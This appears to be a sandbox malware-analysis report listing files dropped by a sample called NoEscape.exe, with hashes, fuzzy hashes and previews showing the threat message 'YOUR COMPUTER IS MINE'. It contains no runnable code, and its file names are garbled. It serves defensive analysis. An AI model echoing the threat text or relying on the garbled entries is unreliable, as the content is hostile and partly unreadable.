Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??????????????9????C?????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??????????????? ???? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\???????????????'?? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\???????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	6660
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	96:a5Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65QnH:vPPPPPPPPPH
MD5:	AE03BD2BE8839EB658FD4780FD3C22E3
SHA1:	58E3E18238096955A84F3EE0752983FF7B14D642
SHA-256:	499234F6357D9D89220C1BCF7BD205C7423D1D400E8C83EF3BC65DAE8523171C
SHA-512:	E116C9CF2FD61BB31B57E5D3A13B488B0BB824CD7926076B7449CA773A7A1F3B6BDBBECE45F106CCC8A9E5F491525F431323F97B09BF1B42090075469ABF9846
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.

C:\Users\Public\Desktop\???????????????? ? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\???????????????? ?????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\????????????????-???????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\????????????????-??????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	3996
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	48:AXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlb1m6o3RDngXlg:a5Qn65Qn65Qn65Qn65Qn65QnH
MD5:	79AC95AC59AFD0E4830D3BDD4EE67449
SHA1:	B35287AE13F3EA5D439C25418CF0B7C000286C10
SHA-256:	272F9640FE4FD4C04CC9001602D8083D9242DF2C8CE295EB29E8122DC50BD171
SHA-512:	DC9229D4641FE10E7EE6B9B86AA33E9311C4E16C263A250B197EF60A8EE440A1D5AB48BAE24359B8067E66FAB0A42031ED2B466D58C92DE7812ACFBB4D646FD9
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.

C:\Users\Public\Desktop\????????????????? ????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\?????????????????+?????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\?????????????????-P??????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\?????????????????<?????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\?????????????????> Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\?????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	6660
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	96:a5Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65QnH:vPPPPPPPPPH
MD5:	AE03BD2BE8839EB658FD4780FD3C22E3
SHA1:	58E3E18238096955A84F3EE0752983FF7B14D642
SHA-256:	499234F6357D9D89220C1BCF7BD205C7423D1D400E8C83EF3BC65DAE8523171C
SHA-512:	E116C9CF2FD61BB31B57E5D3A13B488B0BB824CD7926076B7449CA773A7A1F3B6BDBBECE45F106CCC8A9E5F491525F431323F97B09BF1B42090075469ABF9846
Malicious:	false
